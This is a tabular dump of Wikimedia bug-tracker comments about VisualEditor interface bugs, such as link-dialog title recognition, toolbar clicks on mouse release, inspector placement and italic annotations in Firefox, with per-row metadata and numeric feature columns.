**Attached**: {F11470}",,,1376073840,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.148148148148148,0.8888888888888888,"Created attachment 13081
Link dialog doesn't recognise that existence of single-character page names

**Attached**: {F11470}"
243417,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:

What about ""AB"" or ""FRA""? Those are not redirects. Maybe ""single character titles"" is not accurate enough.",,,1376073813,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3823529411764706,0.7058823529411765,"**sandrobt.wiki** wrote:

What about ""AB"" or ""FRA""? Those are not redirects. Maybe ""single character titles"" is not accurate enough."
243414,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"Redirects not showing in the list are due to case sensitivity issues, see bug 50898 

Single character titles are never recognised, whether they are articles (e.g [[A]], [[Ä]]) or redirects, so I'm boldly refocusing this bug solely on this issue.",,,1376073316,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,3.6315789473684212,0.7719298245614035,"Redirects not showing in the list are due to case sensitivity issues, see bug 50898 

Single character titles are never recognised, whether they are articles (e.g [[A]], [[Ä]]) or redirects, so I'm boldly refocusing this bug solely on this issue."
243410,VisualEditor: Some pages with short titles (incl all with single character titles) are not recognised as existing pages in the link box,"**sandrobt.wiki** wrote:

Maybe writing ""short"" in the title was a mistake (but anyway this bug appears more often with short titles): SEGA, FIDO and GOOGLE also are not recognized as existing pages. However these are all redirects, so perhaps this is another known independent issue?",,,1375847955,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kpx3x3zovypfoultwmwq,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,2.0,2.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,8.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,4.084745762711864,0.864406779661017,"**sandrobt.wiki** wrote:

Maybe writing ""short"" in the title was a mistake (but anyway this bug appears more often with short titles): SEGA, FIDO and GOOGLE also are not recognized as existing pages. However these are all redirects, so perhaps this is another known independent issue?"
54561,VisualEditor: Dragging mouse clicks VE buttons upon release,"From Cryptic C62:

Load VE on any page. Click and hold the left mouse button anywhere inside the browser window. Move the mouse on top of any button in the VE toolbar. Release the left mouse button. This activates the button.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375737000,1380610142.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-puu746mglczm4q4dlq2x,task_description,resolved,True,c1,3,False,False,False,5,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.5606060606060606,"From Cryptic C62:

Load VE on any page. Click and hold the left mouse button anywhere inside the browser window. Move the mouse on top of any button in the VE toolbar. Release the left mouse button. This activates the button.

--------------------------
**Version**: unspecified
**Severity**: normal"
241301,VisualEditor: Dragging mouse clicks VE buttons upon release,"I cant reproduce any combination supported on Linux, or Firefox/Windows/monobook.",,,1380610142,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,13,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,0.9411764705882353,"I cant reproduce any combination supported on Linux, or Firefox/Windows/monobook."
241295,VisualEditor: Dragging mouse clicks VE buttons upon release,"Does this still occur for anyone?
Using the version of VE currently live on en.wp in Firefox 24/monobook/Linux I can't reproduce this at all, not even the way I could in comment 2",,,1380546794,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,13,,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,17.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,15.0,10.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6097560975609757,0.8780487804878049,"Does this still occur for anyone?
Using the version of VE currently live on en.wp in Firefox 24/monobook/Linux I can't reproduce this at all, not even the way I could in comment 2"
241290,VisualEditor: Dragging mouse clicks VE buttons upon release,"After clarification I have done more testing and found that I can't reproduce this when any text is selected (including text in a table), but I can if the selection is exclusively an image or template (including an image in table).

Further Cryptic C62 uses Windows Vista not Windows 7.",,,1375794161,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,8.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,3.0,2.0,0.0,0.0,4.033898305084746,0.7796610169491526,"After clarification I have done more testing and found that I can't reproduce this when any text is selected (including text in a table), but I can if the selection is exclusively an image or template (including an image in table).

Further Cryptic C62 uses Windows Vista not Windows 7."
241286,VisualEditor: Dragging mouse clicks VE buttons upon release,"Cryptic stated in the original bug report ""Some testing shows that this is universal (Firefox/Vector, Opera/Vector, Safari/Monobook)"". From other bug reports of theirs I believe that they run Windows 7.

I have not been able to reproduce this in Firefox 22 on Xubuntu linux using Monobook. The toolbar button depresses as if it were going to apply its function, but nothing actually happens.",,,1375737768,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-puu746mglczm4q4dlq2x,task_subcomment,,True,c1,3,False,,,5,,1.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,20.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,14.0,15.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.074074074074074,0.7901234567901234,"Cryptic stated in the original bug report ""Some testing shows that this is universal (Firefox/Vector, Opera/Vector, Safari/Monobook)"". From other bug reports of theirs I believe that they run Windows 7.

I have not been able to reproduce this in Firefox 22 on Xubuntu linux using Monobook. The toolbar button depresses as if it were going to apply its function, but nothing actually happens."
54526,VisualEditor: Inspectors should not display below visible page area,"As an editor has pointed out on Mediawiki, the link dialog appears below the selected link.  If an editor has selected text at the bottom of the visible page area, the dialog appears ""below the fold"" and the editor must scroll down to access it.  Dialog should be forced to appear in the area currently visible when it is activated.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1375635660,1411778807.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,7.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,2.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.022988505747127,0.6091954022988506,"As an editor has pointed out on Mediawiki, the link dialog appears below the selected link.  If an editor has selected text at the bottom of the visible page area, the dialog appears ""below the fold"" and the editor must scroll down to access it.  Dialog should be forced to appear in the area currently visible when it is activated.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239212,VisualEditor: Inspectors should not display below visible page area,"Change 163228 merged by jenkins-bot:
DesktopContext: Ensure that inspectors/menus are fully visible when created

https://gerrit.wikimedia.org/r/163228",,,1411778780,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.869565217391305,0.9565217391304348,"Change 163228 merged by jenkins-bot:
DesktopContext: Ensure that inspectors/menus are fully visible when created

GERRIT_URL"
239205,VisualEditor: Inspectors should not display below visible page area,"(This only affects inspectors, and they're a VE feature; moving.)",,,1411777234,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.5,1.0,"(This only affects inspectors, and they're a VE feature; moving.)"
239198,VisualEditor: Inspectors should not display below visible page area,"Change 163280 merged by jenkins-bot:
PopupWidget: Make $element not be a 0x0 box

https://gerrit.wikimedia.org/r/163280",,,1411771949,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Change 163280 merged by jenkins-bot:
PopupWidget: Make $element not be a 0x0 box

GERRIT_URL"
239192,VisualEditor: Inspectors should not display below visible page area,"Change 163280 had a related patch set uploaded by Bartosz Dziewoński:
PopupWidget: Make $element not be a 0x0 box

https://gerrit.wikimedia.org/r/163280",,,1411766928,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,24.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.32,0.92,"Change 163280 had a related patch set uploaded by Bartosz Dziewoński:
PopupWidget: Make $element not be a 0x0 box

GERRIT_URL"
239187,VisualEditor: Inspectors should not display below visible page area,"Change 163228 had a related patch set uploaded by Bartosz Dziewoński:
[WIP] DesktopContext: Ensure that inspectors/menus are fully visible when created

https://gerrit.wikimedia.org/r/163228",,,1411759324,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,4.8,0.9666666666666667,"Change 163228 had a related patch set uploaded by Bartosz Dziewoński:
[WIP] DesktopContext: Ensure that inspectors/menus are fully visible when created

GERRIT_URL"
239182,VisualEditor: Inspectors should not display below visible page area,This is fixed for dialogs in gerrit 139550. It's not yet fixed for inspectors (which I suppose should scroll-into-view?).,,,1405377923,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zoxqzhcrz3axmm25xk3m,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5517241379310347,0.8620689655172413,This is fixed for dialogs in gerrit 139550. It's not yet fixed for inspectors (which I suppose should scroll-into-view?).
54517,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"At https://en.wikipedia.org/w/index.php?title=Indian_massacre_of_1622&oldid=564508110&veaction=edit, I can not unitalicize 'Nemattanew' (""In the spring of 1622, after a settler murdered his adviser ''[[Nemattanew]]'',"") in Firefox/Iceweasel 21.  It marks it as unitalicized in the toolbar, but if you click away and click back it shows italics again.

I confirmed it wasn't related to my preferences by testing logged out (still in Firefox).  However, it does work fine logged out in Chromium.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=Indian_massacre_of_1622&oldid=564508110&veaction=edit",High,80.0,1375600380,1392860045.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-qi4sreqcffmkf7rnalbq,task_description,resolved,True,c1,3,True,False,False,4,,0.0,0.0,0.0,1.0,1.5,1.5,0.0,0.0,0.0,0.5,4.5,3.0,0.0,0.0,0.0,2.0,0.0,5.5,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,2.5,0.5,3.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.5,1.0,11.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,6.5,9.0,3.0,0.0,2.0,0.0,6.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,3.4916666666666667,0.7083333333333334,"At URL I can not unitalicize 'Nemattanew' (""In the spring of 1622, after a settler murdered his adviser ''[[Nemattanew]]'',"") in Firefox/Iceweasel 21.  It marks it as unitalicized in the toolbar, but if you click away and click back it shows italics again.

I confirmed it wasn't related to my preferences by testing logged out (still in Firefox).  However, it does work fine logged out in Chromium.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
238713,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Change 114000 merged by jenkins-bot:
Fix ce#getOffset when cursor is to the left of an annotation.

https://gerrit.wikimedia.org/r/114000",,,1392856750,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,1.0,"Change 114000 merged by jenkins-bot:
Fix ce#getOffset when cursor is to the left of an annotation.

GERRIT_URL"
238705,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Change 114000 had a related patch set uploaded by Esanders:
Fix ce#getOffset when cursor is to the left of an annotation.

https://gerrit.wikimedia.org/r/114000",,,1392748395,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,15.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,"Change 114000 had a related patch set uploaded by Esanders:
Fix ce#getOffset when cursor is to the left of an annotation.

GERRIT_URL"
238698,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"(In reply to Ed Sanders from comment #3)
> Can't reproduce in FF 27. Can someone else?

Yes.",,,1392403289,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8125,1.0,"(In reply to Ed Sanders from comment #3)
QUOTE

Yes."
238692,VisualEditor: Cannot apply annotations to link in specific case in Firefox,Can't reproduce in FF 27. Can someone else?,,,1392390005,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,32,,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,Can't reproduce in FF 27. Can someone else?
238686,VisualEditor: Cannot apply annotations to link in specific case in Firefox,"Confirmed. Very odd. Note that making the selection broader (e.g. a character either side of the link) lets you make it bold/remove italics/etc.

Sorry for very slow triage.",,,1390418119,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qi4sreqcffmkf7rnalbq,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,10.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,5.0,3.769230769230769,0.8717948717948718,"Confirmed. Very odd. Note that making the selection broader (e.g. a character either side of the link) lets you make it bold/remove italics/etc.

Sorry for very slow triage."
